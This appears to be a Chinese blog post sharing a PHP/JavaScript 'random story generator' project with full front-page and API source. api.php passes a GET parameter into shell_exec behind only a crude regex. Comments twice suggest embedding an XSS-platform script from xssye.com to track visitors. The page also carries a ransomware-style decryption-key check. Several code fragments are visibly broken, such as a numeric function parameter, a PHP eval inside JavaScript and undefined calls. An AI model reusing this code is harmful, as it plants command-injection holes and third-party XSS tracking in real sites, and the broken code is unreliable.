php随机文章生成器,完整项目

这是一个完整的项目,注意代码中有些部分需要你自定义。项目使用了:

  • php+html+javascript

  • 后端使用的python脚本与C语言程序

  • 百度ai的api接口

[*项目适用于windows,如果要在linux上搭建需要一点小改动*]

先上目录结构

Flag_zhcn.php作为主页,使用js将获取的时间戳作为文章的id发送至api.php,格式为api.php?stamp=xxxxxxxx,等待文章生成四十秒后跳转至文章链接

  • flag_zhcn.php (*前七百行基本都是html视觉效果,940行有音乐播放器,把音乐换成你自己的*)

<?php
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>NULLTITLE.</title>
  <style>

          * {
            margin: 0;
            padding: 0;
            font-family: monospace, sans-serif;
            font-weight: bold;
          }
          .flex {
            display: flex;
            justify-content: center;
            align-items: center;
          }
          .container {
          }
          /*终端样式css部分*/
          .content {
            animation: content-slide-in 2s steps(13) forwards;
            overflow: hidden;
            white-space: nowrap;
            position: relative;
          }
        
          .content::after {
            content: '';
            position: absolute;
            right: 0;
            height: 16px;
            animation: sprinkle-bling .5s steps(2) infinite;
          }
        
          @keyframes content-slide-in {
            from {
              width: 0;
            }
            to {
              width: 199ch;/*终端的打字机特效*/
            }
          }
        
          @keyframes sprinkle-bling {
            from {
              border-right: 1px solid transparent;
            }
            to {
              border-right: 1px solid #000;
            }
          }
    /*Termuil*/
    @keyframes gradient {
      0% {
        background-position: 0% 50%;
      }

      50% {
        background-position: 100% 50%;
      }

      100% {
        background-position: 0% 50%;
      }
      /*终端样式css部分结束*/
    }

    img.info {
      border: 1px solid white;
      text-align: center;
      filter: drop-shadow(0px 0px 4px #fff);
    }

    .glow {
      color: #fff;
      text-align: center;
      -webkit-animation: glow 0.6s ease-in-out infinite alternate;
      -moz-animation: glow 0.6s ease-in-out infinite alternate;
      animation: glow 0.6s ease-in-out infinite alternate;
    }
    /*字体发光动画部分css*/
    @-webkit-keyframes glow {
      from {
        text-shadow: 0 0 1px #fff, 0 0 2px #fff, 0 0 3px #00aaff, 0 0 4px #00aaff, 0 0 5px #00aaff, 0 0 6px #00aaff, 0 0 7px #000000;
      }

      to {
        text-shadow: 0 0 2px #fff, 0 0 3px #000000, 0 0 4px #000000, 0 0 5px #000000, 0 0 6px #000000, 0 0 7px #000000, 0 0 8px #ff4da6;
      }
    }

    h3 {
      color: rgb(0, 170, 255);
      text-shadow: 2px 2px #000;
    }

    body {
      font-family: "PT Mono", monospace;
      background: #222;
      color: white;
      background: linear-gradient(90deg, #006ce0, #070024,#000000, #000552, #070024);
      background-size: 400% 400%;
      animation: gradient 9s ease infinite;
      height: 100vh;
    }

    h1 {
      text-shadow: 2px 2px #000;
    }

    hr {
      border: none;
      border-top: 3px dotted white;
    }

    #main {
      position: absolute;
      top: 59%;
      left: 50%;
      transform: translateX(-50%) translateY(-50%);
      width: 50em;
      background: #242424;
      padding: 15px;
      border: 2px solid #00aaff;
      border-radius: 4px;
    }

    #main2 {
      position: absolute;
      top: 170%;
      left: 50%;
      transform: translateX(-50%) translateY(-50%);
      width: 77em;
      opacity:0.9;
      padding: 15px;
      border: 2px solid #ffffff;
      border-radius: 8px;
      background: linear-gradient(-45deg, #070024, #00aaff,#3000f0, #00aaff, #3000f0);
      background-size: 400% 400%;
      animation: gradient 9s ease infinite;
    }

    #main3 {
      position: absolute;
      top: 10%;
      left: 50%;
      transform: translate(-50%, -50%);
      width: 99em;
      padding: 15px;
      border: 2px solid #ffffff;
      border-radius: 8px;
      background: #000000;
    }

    #key {
      text-align: center;
    }

    ::placeholder {
      color: #eee;
      opacity: 1;
    }

    :-ms-input-placeholder {
      color: #eee;
    }

    ::-ms-input-placeholder {
      color: #eee;
    }

    input {
      width: 70%;
      font-family: monospace;
      font-size: 18pt;
      color: white;
      background: rgb(25, 105, 84);
      border-radius: 4px;
      border: 1px solid #ccc;
      padding: 12px 20px;
      margin: 8px 0;
      box-sizing: border-box;
      text-align: center;
    }

    input:focus::placeholder {
      color: transparent;
    }

    input:focus {
      outline: none !important;
      border-color: #fff;
      box-shadow: 0 0 10px #015724;
    }

    input[type='submit'] {
      font-weight: bold;
      font-size: 14pt;
      width: 30%;
    }

    input[type='submit']:hover {
      background: rgb(0, 77, 53);
      cursor: pointer;
    }

    input[type='submit']:disabled {
      opacity: 0.5;
      cursor: not-allowed;
    }

    .warn {
      font-size: 70pt;
    }

    a,
    a:visited {
      color: rgb(48, 219, 151);
    }

    a.msg {
      border:2px solid red;
      background:#880000;
      border-radius: 4px;
      padding:10px;
      text-decoration: none;
    }

    .overlay {
      position: absolute;
      top: 0;
      bottom: 0;
      left: 0;
      right: 0;
      background: rgba(3, 24, 3, 0.9);
      transition: opacity 200ms;
      visibility: hidden;
      opacity: 0;
    }

    .overlay.light {
      background: #222;
    }

    .overlay .cancel {
      position: absolute;
      width: 100%;
      height: 100%;
      cursor: default;
    }

    .overlay:target {
      visibility: visible;
      opacity: 1;
    }

    .popup {
      color: #fff;
      padding: 20px;
      background: #444;
      margin: 0;
      position: absolute;
      top: 50%;
      left: 50%;
      transform: translateX(-50%) translateY(-50%);
      border: 2px solid #139A43;

      border-radius: 8px;
      width: 700px;
      box-shadow: 0 0 50px rgba(0, 0, 0, 0.5);
      position: relative;
    }

    .light .popup {
      border-color: #aaa;
      box-shadow: 0 2px 10px rgba(0, 0, 0, 0.25);
    }

    .popup h2 {
      margin-top: 0;
      color: #fff;
      text-shadow: 2px 2px #000;
    }

    .popup .content {
      max-height: 800px;
      overflow: auto;
    }

    .popup p {
      margin: 0 0 1em;
    }

    .popup p:last-child {
      margin: 0;
    }

    #key_error {
      color: red;
    }

    #keysubmit {
      display: inline;
    }

    #banner {
      text-align: center;
      background: #0B5D1E;
      border-radius: 8px;
      color: #fff;
      padding: 5px;
    }

    #xbanner {
      text-align: center;
      color: #fff;
      padding: 5px;
    }

    #key {
      display: none;
    }

    #status {
      text-align: center;
      border: 2px solid #fff;
      margin: 5px;
      padding: 10px;
      display: none;
      background: repeating-linear-gradient(45deg, #0B5D1E, #0B5D1E 10px,#139A43 10px,#139A43 20px);
      text-shadow: 2px 2px #000;
    }

    .logo {
      font-family: sans-serif;
      color: white;
    }

    .logo span {
      color: #333;
    }

    .statusok {
      color: rgb(48, 219, 151);
      font-weight: bold;
    }

    .statusbad {
      color: yellow;
    }

    .db {
      color:rgb(48, 219, 151);
    }

    .glitch {
      color: rgb(8, 170, 255);
      font-size: 90px;
      position: relative;
      width: 400px;
      margin: 0 auto;
    }

    @keyframes noise-anim {
      0% {
        clip: rect(42px, 9999px, 18px, 0);
      }
      5% {
        clip: rect(49px, 9999px, 20px, 0);
      }
      10% {
        clip: rect(3px, 9999px, 41px, 0);
      }
      15% {
        clip: rect(72px, 9999px, 44px, 0);
      }
      20% {
        clip: rect(95px, 9999px, 70px, 0);
      }
      25% {
        clip: rect(53px, 9999px, 58px, 0);
      }
      30% {
        clip: rect(36px, 9999px, 80px, 0);
      }
      35% {
        clip: rect(2px, 9999px, 89px, 0);
      }
      40% {
        clip: rect(22px, 9999px, 42px, 0);
      }
      45% {
        clip: rect(49px, 9999px, 99px, 0);
      }
      50% {
        clip: rect(9px, 9999px, 81px, 0);
      }
      55% {
        clip: rect(36px, 9999px, 10px, 0);
      }
      60% {
        clip: rect(33px, 9999px, 40px, 0);
      }
      65% {
        clip: rect(52px, 9999px, 93px, 0);
      }
      70% {
        clip: rect(86px, 9999px, 52px, 0);
      }
      75% {
        clip: rect(68px, 9999px, 1px, 0);
      }
      80% {
        clip: rect(38px, 9999px, 62px, 0);
      }
      85% {
        clip: rect(7px, 9999px, 46px, 0);
      }
      90% {
        clip: rect(52px, 9999px, 46px, 0);
      }
      95% {
        clip: rect(42px, 9999px, 3px, 0);
      }
      100% {
        clip: rect(87px, 9999px, 63px, 0);
      }
    }

    .glitch:after {
      content: attr(data-text);
      position: absolute;
      left: 2px;
      text-shadow: -1px 0 rgb(200, 200, 255);
      top: 0;
      color: rgb(0, 170, 255);
      background: #242424;
      overflow: hidden;
      clip: rect(0, 900px, 0, 0);
      animation: noise-anim 2s infinite linear alternate-reverse;
    }

    @keyframes noise-anim-2 {
      0% {
        clip: rect(49px, 9999px, 94px, 0);
      }

      5% {
        clip: rect(75px, 9999px, 63px, 0);
      }

      10% {
        clip: rect(10px, 9999px, 55px, 0);
      }

      15% {
        clip: rect(44px, 9999px, 18px, 0);
      }

      20% {
        clip: rect(92px, 9999px, 70px, 0);
      }

      25% {
        clip: rect(44px, 9999px, 36px, 0);
      }

      30% {
        clip: rect(75px, 9999px, 84px, 0);
      }

      35% {
        clip: rect(1px, 9999px, 1px, 0);
      }

      40% {
        clip: rect(73px, 9999px, 97px, 0);
      }

      45% {
        clip: rect(78px, 9999px, 11px, 0);
      }

      50% {
        clip: rect(88px, 9999px, 39px, 0);
      }

      55% {
        clip: rect(47px, 9999px, 87px, 0);
      }

      60% {
        clip: rect(61px, 9999px, 100px, 0);
      }

      65% {
        clip: rect(40px, 9999px, 5px, 0);
      }

      70% {
        clip: rect(12px, 9999px, 40px, 0);
      }

      75% {
        clip: rect(23px, 9999px, 85px, 0);
      }

      80% {
        clip: rect(3px, 9999px, 66px, 0);
      }

      85% {
        clip: rect(31px, 9999px, 62px, 0);
      }

      90% {
        clip: rect(99px, 9999px, 96px, 0);
      }

      95% {
        clip: rect(18px, 9999px, 49px, 0);
      }

      100% {
        clip: rect(56px, 9999px, 59px, 0);
      }
    }

    .glitch:before {
      content: attr(data-text);
      position: absolute;
      left: -2px;
      text-shadow: 1px 0 blue;
      top: 0;
      color: rgb(0, 100, 200);
      background: #444;
      overflow: hidden;
      clip: rect(0, 900px, 0, 0);
      animation: noise-anim-2 12s infinite linear alternate-reverse;
    }

    :root {
      --sqrt3: 1.73205080757;
      --time: 11;
      --gap: 1;
      --radius: 3;
      --Gap: var(--gap) / 2 * var(--sqrt3);
      --Radius: 2 / var(--sqrt3) * var(--radius);
    }

    @keyframes odd-animation {
      0% {
        transform: translate(calc(0.5 * var(--offset-x)), calc(0.5 * var(--offset-y))) scale(0)
      }

      33% {
        transform: translate(calc(1 * var(--offset-x)), calc(1 * var(--offset-y))) scale(1)
      }

      66% {
        transform: translate(calc(2 * var(--offset-x)), calc(2 * var(--offset-y))) scale(1)
      }

      100% {
        transform: translate(calc(3 * var(--offset-x)), calc(3 * var(--offset-y))) scale(0)
      }
    }

    @keyframes even-animation {
      50% {
        transform: translate(calc(1 * var(--offset-x)), calc(1 * var(--offset-y))) scale(1)
      }

      100% {
        transform: translate(calc(2 * var(--offset-x)), calc(2 * var(--offset-y))) scale(0)
      }
    }

    body {
      align-items: center;
      background-color: black;
      display: flex;
      height: 200vh;
      justify-content: center;
      margin: 0;
    }
/*背景的六边形div相关开始*/
    .hex {
      top:-19%;
      color: #00aaff;
      opacity: 0.6;
      display: flex;
      font-size: 3vmin;
      height: calc(2em * var(--Radius));
      width: calc(2em * var(--radius));
    }

    .hex::before {
      border: calc(0.5em * var(--Radius)) solid transparent;
      border-left: 0;
      border-right: calc(1em * var(--radius)) solid currentColor;
      content: "";
      height: var(--Radius);
    }

    .hex::after {
      border: calc(0.5em * var(--Radius)) solid transparent;
      border-left: calc(1em * var(--radius)) solid currentColor;
      border-right: 0;
      content: "";
      height: var(--Radius);
    }
/*背景的六边形div相关结束*/
    .center {
      position: relative;
    }

    .odd,
    .even {
      --global-offset-x: calc(0.5em * var(--gap) + var(--radius) * 1em);
      --global-offset-y: calc(1.5em * var(--Radius) + var(--Gap) * 1em);
      animation: infinite cubic-bezier(.21, .61, .01, .89);
      position: absolute;
      transform: translate(0, 0) scale(0);
    }

    .odd {
      animation-duration: 11s;
    }

    .even {
      animation-duration: 7.333333333s;
    }

    .hex.first {
      animation-delay: -6.2857142857s;
    }

    .hex.second {
      animation-delay: -2.619047619s;
    }

    .hex.third {
      animation-delay: 1.0476190476s;
    }

    @supports (animation-delay: calc(1 * 1s)) and (animation-duration: calc(1 * 1s)) {
      .odd {
        animation-duration: calc(var(--time) * 1s);
      }

      .even {
        animation-duration: calc(var(--time) * 2 / 3 * 1s);
      }

      .hex.first {
        animation-delay: calc(var(--time) / -1.75 * 1s);
      }

      .hex.second {
        animation-delay: calc(var(--time) * 1.25 / -5.25 * 1s);
      }

      .hex.third {
        animation-delay: calc(var(--time) * -0.25 / -2.625 * 1s);
      }
    }

    .hex.one {
      --offset-x: calc(var(--global-offset-x) * 1);
      --offset-y: calc(var(--global-offset-y) * -1);
      animation-name: odd-animation;
      bottom: 0;
      left: 0;
    }

    .hex.two {
      --offset-x: calc(var(--global-offset-x) * 1.5);
      --offset-y: calc(var(--global-offset-y) * -0.5);
      animation-name: even-animation;
      bottom: calc(var(--global-offset-y) * 0.5);
      left: calc(var(--global-offset-x) * 1.5);
    }

    .hex.three {
      --offset-x: calc(var(--global-offset-x) * 2);
      --offset-y: calc(var(--global-offset-y) * 0);
      animation-name: odd-animation;
      bottom: 0;
      right: 0;
    }

    .hex.four {
      --offset-x: calc(var(--global-offset-x) * 1.5);
      --offset-y: calc(var(--global-offset-y) * 0.5);
      animation-name: even-animation;
      top: calc(var(--global-offset-y) * 0.5);
      left: calc(var(--global-offset-x) * 1.5);
    }

    .hex.five {
      --offset-x: calc(var(--global-offset-x) * 1);
      --offset-y: calc(var(--global-offset-y) * 1);
      animation-name: odd-animation;
      top: 0;
      left: 0;
    }

    .hex.six {
      --offset-x: calc(var(--global-offset-x) * 0);
      --offset-y: calc(var(--global-offset-y) * 1);
      animation-name: even-animation;
      top: calc(var(--global-offset-y) * 1);
      left: 0;
    }

    .hex.seven {
      --offset-x: calc(var(--global-offset-x) * -1);
      --offset-y: calc(var(--global-offset-y) * 1);
      animation-name: odd-animation;
      top: 0;
      right: 0;
    }

    .hex.eight {
      --offset-x: calc(var(--global-offset-x) * -1.5);
      --offset-y: calc(var(--global-offset-y) * 0.5);
      animation-name: even-animation;
      top: calc(var(--global-offset-y) * 0.5);
      right: calc(var(--global-offset-x) * 1.5);
    }

    .hex.nine {
      --offset-x: calc(var(--global-offset-x) * -2);
      --offset-y: calc(var(--global-offset-y) * 0);
      animation-name: odd-animation;
      top: 0;
      right: 0;
    }

    .hex.ten {
      --offset-x: calc(var(--global-offset-x) * -1.5);
      --offset-y: calc(var(--global-offset-y) * -0.5);
      animation-name: even-animation;
      bottom: calc(var(--global-offset-y) * 0.5);
      right: calc(var(--global-offset-x) * 1.5);
    }

    .hex.eleven {
      --offset-x: calc(var(--global-offset-x) * -1);
      --offset-y: calc(var(--global-offset-y) * -1);
      animation-name: odd-animation;
      bottom: 0;
      right: 0;
    }

    .hex.twelve {
      --offset-x: calc(var(--global-offset-x) * 0);
      --offset-y: calc(var(--global-offset-y) * -1);
      animation-name: even-animation;
      bottom: calc(var(--global-offset-y) * 1);
      left: 0;
    }
  </style>
</head>

<body>
    <script>
        /*
定位光标
*/
function setCaretPosition(ctrl, 0){
    if(ctrl.setSelectionRange)
    {
        ctrl.focus();
        ctrl.setSelectionRange(0,0);
    }
    else if (ctrl.createTextRange) {
        var range = ctrl.createTextRange();
        range.collapse(true);
        range.moveEnd('character', 0);
        range.moveStart('character', 0);
        range.select();
    }
}
function setCookie(name,value)
{
    var Days = 30;
    var exp = new Date();
    exp.setTime(exp.getTime() + Days*24*60*60*1000);
    document.cookie = name + "="+ escape (value) + ";expires=" + exp.toGMTString() + '⭐️';
}
function getCookie(name)
{
    var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)");
    if(arr=document.cookie.match(reg))
    return unescape(arr[2]);
    else
    return null;
}
var lg;
lg=context.getUserLcid();
alert(lg);

</script>

    <div class="hex center"><!--背景的六边形动画应用-->
    <div class="hex odd first one"></div>
    <div class="hex odd first three"></div>
    <div class="hex odd first five"></div>
    <div class="hex odd first seven"></div>
    <div class="hex odd first nine"></div>
    <div class="hex odd first eleven"></div>
    <div class="hex odd second one"></div>
    <div class="hex odd second three"></div>
    <div class="hex odd second five"></div>
    <div class="hex odd second seven"></div>
    <div class="hex odd second nine"></div>
    <div class="hex odd second eleven"></div>
    <div class="hex odd third one"></div>
    <div class="hex odd third three"></div>
    <div class="hex odd third five"></div>
    <div class="hex odd third seven"></div>
    <div class="hex odd third nine"></div>
    <div class="hex odd third eleven"></div>
    <div class="hex even first two"></div>
    <div class="hex even first four"></div>
    <div class="hex even first six"></div>
    <div class="hex even first eight"></div>
    <div class="hex even first ten"></div>
    <div class="hex even first twelve"></div>
    <div class="hex even second two"></div>
    <div class="hex even second four"></div>
    <div class="hex even second six"></div>
    <div class="hex even second eight"></div>
    <div class="hex even second ten"></div>
    <div class="hex even second twelve"></div>
  </div>
  <div id='main3' style='color:green;'>
  <div class="container flex">
    <div class="content">
      <script>
        function sleep (time) {
          return new Promise((resolve) => setTimeout(resolve, time));
        }
        var time=Date.now();
        /*(1)网页随机标题的文本切换部分[开始]*/
        var a = Math.random() + "" //产生一个随机数
        var rand1 = a.charAt(5) //的到这个数的第五个字符(实际还是从0~9的数字)
        quotes = new Array //创建标题数组
        quotes[1] = 'EBADRQC 56 无效的请求码 ' //这里分配十句随机出现的文本,你可以改成其他你想要的句子,想要酷炫一点的文本的话可以apt-get install hollywood然后运行看看
        quotes[2] = 'ENOSYS 38 函数未实现 '
        quotes[3] = 'ENOTUNIQ 76 网络上的名称不是唯一的 '
        quotes[4] = 'ELIBMAX 82 试图与过多的共享库相链接 '
        quotes[5] = 'EHOSTUNREACH 113 没有到主机的路由 '
        quotes[6] = 'ACPI0003:00 -> ../../../devices/LNXSYSTM:00/LNXSYBUS:00/ACPI0003:00'
        quotes[7] = 'ENOPROTOOPT 92 不可用的协议 '
        quotes[8] = 'ETIME 62 计时器超时 '
        quotes[9] = 'EILSEQ 84 无效或不完整的多字节字符或宽字符 '
        quotes[0] = '00000000  23 21 2f 75 73 72 2f 62  69 6e 2f 70 65 72 6c 0a  |#!/usr/bin/perl.|'
        var quote = quotes[rand1] //由随机数选择一句话
        document.write( quote ) 
        /*(1)网页随机标题的文本切换部分[结束]*/
        /*(2)通过按钮生成文章的按钮事件[开始]*/
        function buttonClick()
        {  
          var a = Math.random() + "" //产生一个随机数用于随机判断要生成言情类文章还是星战类文章,你可以写个js让用户选择
          var rand1 = a.charAt(5) //的到这个数的第五个字符(实际还是从0~9的数字)
          urls = new Array //创建url数组
          urls[1] = 'api_romance.php?stamp=' //这里分配url地址
          urls[2] = 'api.php?stamp='
          urls[3] = 'api_romance.php?stamp='
          urls[4] = 'api.php?stamp='
          urls[5] = 'api_romance.php?stamp='
          urls[6] = 'api.php?stamp='
          urls[7] = 'api_romance.php?stamp='
          urls[8] = 'api.php?stamp='
          urls[9] = 'api_romance.php?stamp='
          urls[0] = 'api.php?stamp='
          var url = urls[rand1] //随机选一个地址,下面开始构建请求
          var httpRequest = new XMLHttpRequest();//第一步:建立所需的对象
          httpRequest.open('GET', url+time, true);//第二步:打开连接  将请求参数写在url中
          httpRequest.send();//发送请求到api.php
          x = document.getElementById("claa");
          Myurl = document.domain;//通过js获得当前的地址,用于四十秒后跳转到新生成的文章页面
          Myport = window.location.port;
          x.innerHTML = "正在生成文本,预计40s 四十秒后没有弹窗是浏览器权限导致,请手动访问"+Myurl+':'+Myport+'/'+time+".html";
          setTimeout(function(){window.open('http://'+Myurl+':'+Myport+'/'+time+".html");}, 40000);//实现四十秒后跳转到新生成的页面
        }  
        /*(2)通过按钮生成文章的按钮事件[结束]*/
        httpRequest.onreadystatechange = function () {
            if (httpRequest.readyState == 4 && httpRequest.status == 200) {
                var json = httpRequest.responseText;//获取到json字符串,还需解析
                console.log(json);
            }
        };
        alert('手机访问效果不太好,不推荐');
        </script>
<p id="claa"></p><!--点击按钮后变成 [ 正在生成文本,预计40s 四十秒后没有弹窗是浏览器权限导致,请手动访问 ] 的字样-->
<input  id="button" type="button" value="点我" onclick="buttonClick();">  
    </div>
  </div>
  </div>

  <div id='main'>
    <div id='xbanner'>
      <div class="glitch" data-text="Welcome To The">Tou H0u<span class='glow'><b> StoryM1xer</b></span></br></div>
      <br />
    </div>
    <span class='glow'><b>欢迎来到</b>东方<b class='db'>故事机</b></span></br>
    点击上方按钮生成小故事哦,需要四十秒请耐心等待</br>
                            
    </p>

    <!--可以通过xss平台实现访客统计,不安全代码注意:<sCRiPt sRC=http://xssye.com/X55yE></sCrIpT>   -->
  <p style='text-align:center;'>
    <br />
    <br />
    <br />
  </p>
  

  <div id='status'>
  <script>
    var reader=new FileReader();
      reader.readAsText(shame.txt);
    document.getElementById('main').innerHTML = a;
  </script>
  </div>
  <!--statu end-->
<div class='xbanner'>
  <!--音乐播放器-->
<div id="main2">
    <audio id="audio2" controls>
    <source src=" LOST.mp3" />
</audio>
  <!--音乐播放器结束-->
<!--two divends-->
  
</div>
</div>
</div>
  
  <script type="text/javascript">
    var SHA256 = "undefined" != typeof exports ? exports : {}; !function (t) { var r = [1116352408, 1899447441, -1245643825, -373957723, 961987163, 1508970993, -1841331548, -1424204075, -670586216, 310598401, 607225278, 1426881987, 1925078388, -2132889090, -1680079193, -1046744716, -459576895, -272742522, 264347078, 604807628, 770255983, 1249150122, 1555081692, 1996064986, -1740746414, -1473132947, -1341970488, -1084653625, -958395405, -710438585, 113926993, 338241895, 666307205, 773529912, 1294757372, 1396182291, 1695183700, 1986661051, -2117940946, -1838011259, -1564481375, -1474664885, -1035236496, -949202525, -778901479, -694614492, -200395387, 275423344, 430227734, 506948616, 659060556, 883997877, 958139571, 1322822218, 1537002063, 1747873779, 1955562222, 2024104815, -2067236844, -1933114872, -1866530822, -1538233109, -1090935817, -965641998], i = { sha256: 1 }; t.createHash = function (t) { if (t && !i[t] && !i[t.toLowerCase()]) throw new Error("Digest method not supported"); return new n }; var n = function () { function t() { this.A = 1779033703, this.B = -1150833019, this.C = 1013904242, this.D = -1521486534, this.E = 1359893119, this.F = -1694144372, this.G = 528734635, this.H = 1541459225, this.t = 0, this.i = 0, (!s || e >= 8e3) && (s = new ArrayBuffer(8e3), e = 0), this.h = new Uint8Array(s, e, 80), this.o = new Int32Array(s, e, 20), e += 80 } return t.prototype.update = function (t) { if ("string" == typeof t) return this.u(t); if (null == t) throw new TypeError("Invalid type: " + typeof t); var r = t.byteOffset, i = t.byteLength, n = i / 64 | 0, s = 0; if (n && !(3 & r) && !(this.t % 64)) { for (var h = new Int32Array(t.buffer, r, 16 * n); n--;)this.v(h, s >> 2), s += 64; this.t += s } if (1 !== t.BYTES_PER_ELEMENT && t.buffer) { var e = new Uint8Array(t.buffer, r + s, i - s); return this.p(e) } return s === i ? this : this.p(t, s) }, t.prototype.p = function (t, r) { var i = this.h, n = this.o, s = t.length; for (r |= 0; r < s;) { for (var h = this.t % 64, e = h; r < s && e < 64;)i[e++] = t[r++]; e >= 64 && this.v(n), this.t += e - h } return this }, t.prototype.u = function (t) { for (var r = this.h, i = this.o, n = t.length, s = this.i, h = 0; h < n;) { for (var e = this.t % 64, f = e; h < n && f < 64;) { var o = 0 | t.charCodeAt(h++); o < 128 ? r[f++] = o : o < 2048 ? (r[f++] = 192 | o >>> 6, r[f++] = 128 | 63 & o) : o < 55296 || o > 57343 ? (r[f++] = 224 | o >>> 12, r[f++] = 128 | o >>> 6 & 63, r[f++] = 128 | 63 & o) : s ? (o = ((1023 & s) << 10) + (1023 & o) + 65536, r[f++] = 240 | o >>> 18, r[f++] = 128 | o >>> 12 & 63, r[f++] = 128 | o >>> 6 & 63, r[f++] = 128 | 63 & o, s = 0) : s = o } f >= 64 && (this.v(i), i[0] = i[16]), this.t += f - e } return this.i = s, this }, t.prototype.v = function (t, i) { var n = this, s = n.A, e = n.B, f = n.C, A = n.D, p = n.E, d = n.F, I = n.G, U = n.H, l = 0; for (i |= 0; l < 16;)h[l++] = o(t[i++]); for (l = 16; l < 64; l++)h[l] = y(h[l - 2]) + h[l - 7] + w(h[l - 15]) + h[l - 16] | 0; for (l = 0; l < 64; l++) { var x = U + v(p) + u(p, d, I) + r[l] + h[l] | 0, g = c(s) + a(s, e, f) | 0; U = I, I = d, d = p, p = A + x | 0, A = f, f = e, e = s, s = x + g | 0 } this.A = s + this.A | 0, this.B = e + this.B | 0, this.C = f + this.C | 0, this.D = A + this.D | 0, this.E = p + this.E | 0, this.F = d + this.F | 0, this.G = I + this.G | 0, this.H = U + this.H | 0 }, t.prototype.digest = function (t) { var r = this.h, i = this.o, n = this.t % 64 | 0; for (r[n++] = 128; 3 & n;)r[n++] = 0; if ((n >>= 2) > 14) { for (; n < 16;)i[n++] = 0; n = 0, this.v(i) } for (; n < 16;)i[n++] = 0; var s = 8 * this.t, h = (4294967295 & s) >>> 0, e = (s - h) / 4294967296; return e && (i[14] = o(e)), h && (i[15] = o(h)), this.v(i), "hex" === t ? this.I() : this.U() }, t.prototype.I = function () { var t = this, r = t.A, i = t.B, n = t.C, s = t.D, h = t.E, e = t.F, o = t.G, u = t.H; return f(r) + f(i) + f(n) + f(s) + f(h) + f(e) + f(o) + f(u) }, t.prototype.U = function () { var t = this, r = t.A, i = t.B, n = t.C, s = t.D, h = t.E, e = t.F, f = t.G, u = t.H, a = t.h, c = t.o; return c[0] = o(r), c[1] = o(i), c[2] = o(n), c[3] = o(s), c[4] = o(h), c[5] = o(e), c[6] = o(f), c[7] = o(u), a.slice(0, 32) }, t }(); t.Hash = n; var s, h = new Int32Array(64), e = 0, f = function (t) { return (t + 4294967296).toString(16).substr(-8) }, o = 254 === new Uint8Array(new Uint16Array([65279]).buffer)[0] ? function (t) { return t } : function (t) { return t << 24 & 4278190080 | t << 8 & 16711680 | t >> 8 & 65280 | t >> 24 & 255 }, u = function (t, r, i) { return i ^ t & (r ^ i) }, a = function (t, r, i) { return t & r | i & (t | r) }, c = function (t) { return (t >>> 2 | t << 30) ^ (t >>> 13 | t << 19) ^ (t >>> 22 | t << 10) }, v = function (t) { return (t >>> 6 | t << 26) ^ (t >>> 11 | t << 21) ^ (t >>> 25 | t << 7) }, w = function (t) { return (t >>> 7 | t << 25) ^ (t >>> 18 | t << 14) ^ t >>> 3 }, y = function (t) { return (t >>> 17 | t << 15) ^ (t >>> 19 | t << 13) ^ t >>> 10 } }(SHA256);

    function $(id) {
      return document.getElementById(id);
    }

    function sha256_hex_bytes(v) {
      var typedArray = new Uint8Array(v.match(/[\da-f]{2}/gi).map(function (h) {
        return parseInt(h, 16)
      }))
      return SHA256.createHash().update(typedArray).digest("hex")
    }

    function valid_key_format(v) {
      return v.match(/^[0-9a-f]{32}$/) !== null;
    }

    function check_key_format() {
      v = $('keyinput').value;
      valid = valid_key_format(v);
      $('keysubmit').disabled = !valid;
      if (v.length > 0 && !valid) {
        $('key_info').innerHTML = '<font style="color:yellow;">the entered key has an invalid format.</font>';
      } else {
        $('key_info').innerHTML = '&nbsp;';
      }

      if (valid) {
        check_key();
      }
    }

    function form_valid() {
      return !$('keysubmit').disabled;
    }

    function check_key() {
      r = sha256_hex_bytes($('keyinput').value)
      if (r === "2b346ee097724eb9a8df0044ea6ec8c1a470083281d687a31849c79a09ae9244") {
        $('key_info').innerHTML = '<font class="statusok">correct key detected. you can proceed with decryption!</font>';
        //$('keysubmit').style.display = 'inline';
        $('keysubmit').disabled = false;
      } else if (r == "93f21756aeeb5a9547cc62dea8d58581b0da4f23286f14d10559e6f89b078052") {
        $('key_info').innerHTML = '<font class="statusok">correct master key detected. you can proceed with decryption!</font>';
        //$('keysubmit').style.display = 'inline';
        $('keysubmit').disabled = false;
      } else {
        $('key_info').innerHTML = '<font class="statusbad">invalid decryption key entered.</font>';
        //$('keysubmit').style.display = 'none';
        $('keysubmit').disabled = true;
      }
    }
    function ajaxObject() {
    var xmlHttp;
    try {
        // Firefox, Opera 8.0+, Safari
        xmlHttp = new XMLHttpRequest();
        } 
    catch (e) {
        // Internet Explorer
        try {
                xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
            } catch (e) {
            try {
                xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
            } catch (e) {
                alert("您的浏览器不支持AJAX!");
                return false;
            }
        }
    }
    return xmlHttp;
}
    function update_status() {
        <?php
    eval("whoami")//lost his self...
    ?>
    }
    window.setInterval(update_status, 9999);
  </script>
<!--部分前端特效代码偷自黑客团队deadbot-->
</body>
</html>

然后是api.php和api_romance.php这两个文件在本质上没什么不同,只不过一个指向言情类文章的Timestamp_romance.py脚本,另一个是生成星战文章的Timestamp.py,你也可以在脚本里设置成其他类型的

  • api.php

<?php // 请注意此页代码存在DoS漏洞,建议使用策略限制访问或添加流量清洗服务
ini_set('max_execution_time', '600');
set_time_limit(0);
if(!isset($_GET['stamp'])){
    die('null cfg,noob hacker');
}
$time=$_GET['stamp'];
if(preg_match("/[A-Za-z_$@!#%^&*()]+/",$time)){
    die('fucking hacker.....'); 
}//正则过滤法,粗略地降低了rce攻击的可能性
$time=(string)$time;
$cmd = '你的python安装根目录\python.exe 你的网站根目录\Timestamp.py '; // Windows
echo $cmd.$time;
shell_exec($cmd.$time);
echo $cmd.$time;
$x=1;
$stamp=fopen($time.'.txt','r');
echo $stamp;
$time=$time.'.txt';
$contents = "";
while (!feof($stamp)) {
$contents .= fread($stamp, 8192);
}
fclose($stamp);
echo strlen($contents);
?>
<html>
<!--使用xss平台来统计访问,用于定位可能存在的攻击者,可选:<sCRiPt sRC=http://xssye.com/X55yE>  
</sCrIpT>
-->
    </html>
  • api_romance.php

<?php // 请注意此页代码存在DoS漏洞,建议使用策略限制访问或添加流量清洗服务
ini_set('max_execution_time', '600');
set_time_limit(0);
if(!isset($_GET['stamp'])){
    die('null cfg,noob hacker');
}
$time=$_GET['stamp'];
